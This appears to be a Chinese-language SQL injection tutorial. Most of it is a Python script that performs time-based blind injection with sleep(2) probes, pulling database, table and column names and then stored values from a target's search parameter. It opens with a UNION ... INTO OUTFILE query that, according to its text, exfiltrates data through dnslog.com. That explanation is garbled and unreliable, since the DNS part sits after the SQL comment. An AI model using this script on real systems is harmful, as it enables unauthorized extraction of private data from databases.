sql SELECT username, email FROM orders UNION SELECT NULL, CONCAT(username, '||', email) FROM users INTO OUTFILE '/var/www/html/payload.txt'; -- %00.dnslog.com
这个查询会将结果写入文件,并实验剖析`dnslog.com`,从而将数据发送到攻击者控制的DNS服务器。
在这里使用‘and length(database())={} and sleep(2) -- 注入语句查询长度,and ascii(substr(database(),{},1))={} and sleep(2) -- 注入语句找到每一个字符,并且返回
# 获取数据库名的长度
def get_database_name_length() -> int:
count = 0
for i in range(30):
url = BASE_URL + "and length(database())={} and sleep(2) -- &action=search".format(i)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print("长度为{}".format(i))
count = i
return count
# 获取数据库的名称
def get_database_name(count):
name = ''
for i in range(count + 1):
for j in range(33, 127):
url = BASE_URL + "and ascii(substr(database(),{},1))={} and sleep(2) -- &action=search".format(
i, j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
name = name+chr(j)
print("=========读取第{}个字符==========".format(i))
print("数据库名称:"+name)
获取表的名称
# 获取数据库里有多少表
def get_table_count() -> int:
count = 0
for i in range(30):
url = BASE_URL + "and (select count(table_name)from information_schema.tables where table_schema=database())={} and sleep(2) -- &action=search".format(
i)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print("有{}张表".format(i))
count = i
return count
# 获取每个表的长度
def get_table_length_of_each_table(count):
for i in range(count + 1):
for j in range(30):
url = BASE_URL + "and (select length(table_name)from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2) -- &action=search".format(
i, j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print("=" * 20)
print("表{}长度为:{}".format(i+1, j))
get_table_name_of_each_table(i, j)
print("=" * 20)
# 获取表名
def get_table_name_of_each_table(index, count):
result = ''
for i in range(count+1):
for j in range(33, 127):
url = BASE_URL+"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2) -- &action=search".format(
index, i, j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
result = result+chr(j)
print("=====读取第{}个字符=====".format(i))
print("表{}的名称为:".format(index+1)+result)
获取字段的名称
# 获取字段个数
def get_column_count(table_name) -> int:
count = 0
for i in range(30):
url = BASE_URL + "and (select count(column_name)from information_schema.columns where table_name='{}')={} and sleep(2) -- &action=search".format(table_name,
i)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print("共发现{}个字段".format(i))
count = i
return count
# 获取每个字段长度
def get_column_length_of_each_table(table_name, count):
for i in range(count + 1):
for j in range(30):
url = BASE_URL + "and (select length(column_name)from information_schema.columns where table_name='{}' limit {},1)={} and sleep(2) -- &action=search".format(table_name,
i, j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print("=" * 20)
print("字段{}长度为:{}".format(i+1, j))
get_column_name_of_each_table(table_name, i, j)
print("=" * 20)
# 得到每个字段名称
def get_column_name_of_each_table(table_name, index,count):
result = ''
for i in range(count+1):
for j in range(33, 127):
url = BASE_URL+"and ascii(substr((select column_name from information_schema.columns where table_name='{}' limit {},1),{},1))={} and sleep(2) -- &action=search".format(table_name,
index, i, j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
result = result+chr(j)
print("=====读取第{}个字符=====".format(i))
print("第{}个字段的名称为:".format(index + 1) + result)
获取值
# 获取值的个数
def get_value_count(table_name, column_name) -> int:
count = 0
for i in range(50):
url = BASE_URL + "and (select count({}) from {})={} and sleep(2) -- &action=search".format(column_name, table_name, i)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print("共有{}个值".format(i))
count = i
return count
# 获取每个值的位数
def get_value_length_of_each_table(table_name, column_name, count):
for i in range(count + 1):
for j in range(50):
url = BASE_URL + "and (select length({}) from {} limit {},1)={} and sleep(2) -- &action=search".format(column_name,table_name,
i, j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
print("=" * 20)
print("值的长度为:{}".format(j))
get_value_name_of_each_table(table_name, column_name, i, j)
print("=" * 20)
# 获取值
def get_value_name_of_each_table(table_name, column_name, index, count):
result = ''
for i in range(count+1):
for j in range(33, 127):
url = BASE_URL+"and ascii(substr((select {} from {} limit {},1),{},1))={} and sleep(2) -- &action=search".format(
column_name, table_name, index, i, j)
start_time = time.time()
requests.get(url, headers=HEADER)
if time.time() - start_time > 2:
result = result + chr(j)
print("=====读取第{}个字符=====".format(i))
print("第{}个值的内容为:".format(index + 1) + result)
主体内容